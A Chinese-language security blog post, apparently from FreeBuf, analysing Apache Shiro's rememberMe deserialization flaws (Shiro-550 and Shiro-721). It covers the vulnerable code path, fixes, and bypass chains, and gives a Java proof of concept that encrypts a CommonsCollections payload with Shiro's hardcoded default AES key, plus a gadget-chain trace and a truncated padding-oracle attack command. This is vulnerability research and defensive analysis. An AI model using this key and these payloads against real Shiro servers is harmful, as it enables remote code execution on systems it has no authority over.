superLeeH
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
Shiro 550
利用硬编码的密钥构造rememberMe
参数,进行反序列化攻击
产生原因是因为shiro接受了Cookie里面rememberMe
的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。
影响版本
1.x < 1.2.5
分析
关键代码处于AbstractRememberMeManager#getRememberedPrincipals
方法中,参数是用户的身份Context
信息
其中CookieRememberMeManager
的getRememberedSerializedIdentity
的实现是获取Cookie
并Base64
解码
将解码后的byte
数组传入convertBytesToPrincipals
中进行:decrypt
和deserialize
。decrypt
是使用AesCipherService
进行解密。
deserialize
调用deserialize()
方法反序列化解密后的数据。
反序列化得到的PrincipalCollection
会被set
到SubjectContext
。
如果我们有了加密密钥,使用密钥加密一个恶意序列化的payload
,将rememberMe
的值替换成base64
后的payload
传入服务器,那这样就可以触发漏洞了。
我们如何获取加密密钥
这就要提到AbstractRememberMeManager
类,它是RememberMeManager
接口的实现。类中有几个关键变量:
DEFAULT_CIPHER_KEY_BYTES
:对称密钥,使用Base64
加密之后直接存在代码中serializer
:Shiro
提供的序列化器cipherService
:用来对数据加解密的类
POC
shiro中自带的是cc3.2.1版本的组件,但是无法利用
shiro中重写了ObjectInputStream
类的resolveClass
函数,ObjectInputStream
的resolveClass
方法用的是Class.forName
类获取当前描述器所指代的类的Class对象。而重写后的resolveClass
方法,采用的是ClassUtils.forName
。
如果反序列化流中包含非Java
自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6
无法利用了,因为其中用到了Transformer
数组
package com.alter.Shiro;
import com.alter.Deserialize.CommonsCollections6;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class test {
public static void main(String[] args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
所以普通的CC链没法打,需要
shiro_POC1.java
使用TemplatesImpl#newTransformer
绕过
只需要使用一个InvokerTransformer
方法
exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
main:76, shiro_cc (pers.shiro)
shiro_POC2.java
TrAXFilter.class
+Templates.class
组合进行漏洞触发shiro_POC_withoutCC
在没有CC组件的情况下通过shiro的依赖CB打,如果有CC依赖,也可以使用CB链的另一个打
绕过数组
JRMP
首先在vps上搭建一个JRMP服务端
之后在本地搭建一个JRMP客户端,接受返回的数据
嫖个脚本exp.py
进行数据的shiro加密处理
将返回的exp传入,成功弹出了计算器
修复
Shiro
在1.2.5
的 Commit中对此漏洞进行了修复。系统在·启动的时候会生成一个新key
,用户也可以手动配置一个cipherKey
如果用户设置的密钥泄漏或者太简单的话,还是会被攻击成功。
Shiro-721
RememberMe
默认通过AES-128-CBC
模式加密,易受Padding Oracle Attack
攻击
影响版本
< 1.4.2
POC
直接使用 longofo 师傅的项目。
首先获取一个有效的rememberMe
值,其次生成一个反序列化利用的payload
,然后使用如下参数执行攻击。
java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://localh
畅读付费文章
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)